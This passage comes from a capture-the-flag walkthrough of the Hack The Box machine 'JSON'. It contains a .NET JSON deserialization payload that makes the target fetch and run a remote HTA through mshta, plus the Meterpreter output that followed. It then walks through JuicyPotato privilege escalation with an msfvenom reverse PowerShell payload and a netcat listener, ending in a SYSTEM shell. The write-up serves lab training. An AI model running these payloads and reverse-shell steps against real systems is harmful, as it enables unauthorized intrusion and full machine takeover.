"$type":"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values":[
"cmd",
"/c mshta.exe http://10.10.14.32:80/ppzHaeCjjlJw.hta"
]
},
"ObjectInstance":{
"$type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
}

We base64 encode our updated payload and send it.

GET /api/Account/ HTTP/1.1
Host: json.htb
Connection: close
Accept: application/json, text/plain, */*
Bearer: ewogICAiJHR5cGUiOiJTeXN0ZW0uV2luZG93cy5EYXRhLk9iamVjdERhdGFQcm92aWRlciwgUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNSIsCiAgICJNZXRob2ROYW1lIjoiU3RhcnQiLAogICAiTWV0aG9kUGFyYW1ldGVycyI6ewogICAgICAiJHR5cGUiOiJTeXN0ZW0uQ29sbGVjdGlvbnMuQXJyYXlMaXN0LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkiLAogICAgICAiJHZhbHVlcyI6WwogICAgICAgICAiY21kIiwKICAgICAgICAgIi9jIG1zaHRhLmV4ZSBodHRwOi8vMTAuMTAuMTQuMzI6ODAvcHB6SGFlQ2pqbEp3Lmh0YSIKICAgICAgXQogICB9LAogICAiT2JqZWN0SW5zdGFuY2UiOnsKICAgICAgIiR0eXBlIjoiU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsIFN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkiCiAgIH0KfQ==
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: https://json.htb/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=

And now we have a wonderful little shell 🙂

<br />[*] Server started.
[*] 10.10.10.158 hta_server - Delivering Payload
[*] Sending stage (180291 bytes) to 10.10.10.158
[*] Meterpreter session 1 opened (10.10.14.32:8080 -> 10.10.10.158:64771) at 2020-01-10 15:44:00 -0700

Gaining Admin Access

During basic enumeration we find the host may be vulnerable to the potato PrivEsc attacks.
We find the "SeImpersonatePrivilege" is enabled for this user.

whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

So let's try to exploit this using the Potato attack which takes advantage of this setting.

To use the potato attack we need to find a valid CLSID that will allow us to escalate.
We create a quick batch file to get the CLSID's from the target

New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT
Get-ItemProperty HKCR:\clsid\* | select-object AppID,@{N='CLSID'; E={$_.pschildname}} | where-object {$_.appid -ne $null}

Copy the output to our local machine for some syntax cleanup.

awk '{print $3}' > CLSID.list

Now we copy our list along with the test batch file to our target.

https://raw.githubusercontent.com/ohpe/juicy-potato/master/Test/test_clsid.bat

Soon we get output on some possible CLSID's to use for escalation
The increase in the 10000 value means previous CLSID is a valid target)

c:\Users\userpool\Downloads>test_clsid.bat
test_clsid.bat
{00021401-0000-0000-C000-000000000046} 10000
{000C101C-0000-0000-C000-000000000046} 10000
{0010890e-8789-413c-adbc-48f5b511b3af} 10000
{00f2b433-44e4-4d88-b2b0-2698a0a91dba} 10000
{010911E2-F61C-479B-B08C-43E6D1299EFE} 10000
{0289a7c5-91bf-4547-81ae-fec91a89dec5} 10000 <<< Valid CLSID
{031EE060-67BC-460d-8847-E4A7C5E45A27} 10001
{0358b920-0ac7-461f-98f4-58e32cd89148} 10001
...........................................
{6CF9B800-50DB-46B5-9218-EACF07F5E414} 10001 <<juicypotato -z -l 11000 -c {6CF9B800-50DB-46B5-9218-EACF07F5E414}
juicypotato -z -l 11000 -c {6CF9B800-50DB-46B5-9218-EACF07F5E414}
{6CF9B800-50DB-46B5-9218-EACF07F5E414};NT AUTHORITY\SYSTEM

So we generate our payload

msfvenom -p cmd/windows/reverse_powershell lhost=10.10.14.32 lport=8800 > 1.bat

Copy it over to the target and start our listener

nc -lvp 8800

Execute our escalation exploit

juicypotato -t * -l 32007 -p C:\Users\userpool\Downloads\1.bat -c {6CF9B800-50DB-46B5-9218-EACF07F5E414}

And get our Root Shell

listening on [any] 8800 ...
connect to [10.10.14.32] from json.htb [10.10.10.158] 50440
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

Now sit back and twist your mustache and adjust your monocle cause you just owned JSON like a Sir!


Resources:

Learn about Serialization/Deserialization attacks

Click to access us-17-Munoz-Friday-The-13th-Json-Attacks.pdf

 

OWASP Cheatsheet
https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html

 

JSON Web Token Decoder
https://www.jsonwebtoken.io/

 

JSON Formatter
https://jsonformatter.curiousconcept.com/

 

Windows Reverse Shell One-Liners

Get Reverse-shell via Windows one-liner

 

Abusing Tokens for Windows Privilege escalation
Abusing Token Privileges For Windows Local Privilege Escalation

 

Juicy Potato
https://github.com/ohpe/juicy-potato